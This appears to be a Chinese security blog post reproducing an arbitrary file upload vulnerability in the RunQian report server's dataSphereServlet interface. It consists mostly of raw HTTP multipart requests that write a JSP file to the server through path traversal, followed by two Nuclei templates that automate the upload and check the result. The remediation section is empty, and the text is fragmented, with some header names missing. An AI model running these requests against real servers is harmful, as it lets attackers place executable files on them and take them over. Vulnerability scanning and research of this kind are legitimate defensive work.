POST
/demo/servlet/dataSphereServlet?action=38
HTTP/1.1
Host
: 127.0.0.1
User-Agent
: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding
: gzip, deflate
Accept
: */*
Connection
: close
Content-Length
: 392
Content-Type
: multipart/form-data; boundary=eac629ee4641cb0fe10596fba5e0c5d9
--eac629ee4641cb0fe10596fba5e0c5d9
Content-Disposition: form-
data
; name=
"openGrpxFile"
; filename=
"539634.jsp"
Content-Type: text/plain
<%
out
.println(
"123456"
); %>
--eac629ee4641cb0fe10596fba5e0c5d9
Content-Disposition: form-
data
; name=
"path"
../../../
--eac629ee4641cb0fe10596fba5e0c5d9
Content-Disposition: form-
data
; name=
"saveServer"
1
--eac629ee4641cb0fe10596fba5e0c5d9--
http:
//192.168.31.133:6868/demo/539634.jsp
id: runqianbaobiaowenjianshangchuan-DEMO
info:
name
: 润乾报表dataSphereServlet接口存在任意文件上传漏洞
author
: 紫色皓月
severity
: high
description
: 润乾报表dataSphereServlet接口存在任意文件上传漏洞
tags
: 2024,润乾报表,任意文件上传,DEMO
variables
:
file_name
:
"{{to_lower(rand_text_alpha(8))}}.txt"
file_content
:
"{{to_lower(rand_text_numeric(32))}}"
requests
:
raw:
|
POST
/demo/servlet/dataSphereServlet?action=38 HTTP/1.1
Host
:
{{Hostname}}
:
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
:
gzip, deflate
Accept
:
*/*
Connection
:
close
:
395
:
multipart/form-data; boundary=eac629ee4641cb0fe10596fba5e0c5d9
--eac629ee4641cb0fe10596fba5e0c5d9
:
form-data; name="openGrpxFile"; filename="{{file_name}}"
:
text/plain
{{file_content}}
--eac629ee4641cb0fe10596fba5e0c5d9
:
form-data; name="path"
../../../
--eac629ee4641cb0fe10596fba5e0c5d9
:
form-data; name="saveServer"
1
--eac629ee4641cb0fe10596fba5e0c5d9--
|
GET
/demo/{{file_name}} HTTP/1.1
Host
:
{{Hostname}}
:
Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept
:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
:
en-US,en;q=0.5
:
gzip, deflate
Connection
:
close
:
1
:
true
matchers
:
type: word
words
:
"{{file_content}}"
part
:
body
POST
/servlet/dataSphereServlet?action=38
HTTP/1.1
Host
: 127.0.0.1
User-Agent
: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding
: gzip, deflate
Accept
: */*
Connection
: close
Content-Length
: 392
Content-Type
: multipart/form-data; boundary=eac629ee4641cb0fe10596fba5e0c5d9
--eac629ee4641cb0fe10596fba5e0c5d9
:
form-data; name="openGrpxFile"; filename="539634.jsp"
:
text/plain
out.println("123456"); %>
--eac629ee4641cb0fe10596fba5e0c5d9
:
form-data; name="path"
../../../
--eac629ee4641cb0fe10596fba5e0c5d9
:
form-data; name="saveServer"
1
--eac629ee4641cb0fe10596fba5e0c5d9--
http
:
//192.168.31.133:6868/539634.jsp
nuclei:
id
:
runqianbaobiaowenjianshangchuan
info
:
name
:
润乾报表dataSphereServlet接口存在任意文件上传漏洞
author
:
紫色皓月
severity
:
high
description
:
润乾报表dataSphereServlet接口存在任意文件上传漏洞
tags
:
2024,润乾报表,任意文件上传
variables
:
file_name
:
"{{to_lower(rand_text_alpha(8))}}.txt"
file_content
:
"{{to_lower(rand_text_numeric(32))}}"
requests
:
raw:
|
POST
/servlet/dataSphereServlet?action=38 HTTP/1.1
Host
:
{{Hostname}}
:
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
:
gzip, deflate
Accept
:
*/*
Connection
:
close
:
395
:
multipart/form-data; boundary=eac629ee4641cb0fe10596fba5e0c5d9
--eac629ee4641cb0fe10596fba5e0c5d9
:
form-data; name="openGrpxFile"; filename="{{file_name}}"
:
text/plain
{{file_content}}
--eac629ee4641cb0fe10596fba5e0c5d9
:
form-data; name="path"
../../../
--eac629ee4641cb0fe10596fba5e0c5d9
:
form-data; name="saveServer"
1
--eac629ee4641cb0fe10596fba5e0c5d9--
|
GET
/{{file_name}} HTTP/1.1
Host
:
{{Hostname}}
:
Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept
:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
:
en-US,en;q=0.5
:
gzip, deflate
Connection
:
close
:
1
:
true
matchers
:
type: word
words
:
"{{file_content}}"
part
:
body
0X03 修复建议
原文始发于微信公众号(皓月的笔记本):【漏洞复现】润乾报表dataSphereServlet接口 任意文件上传漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论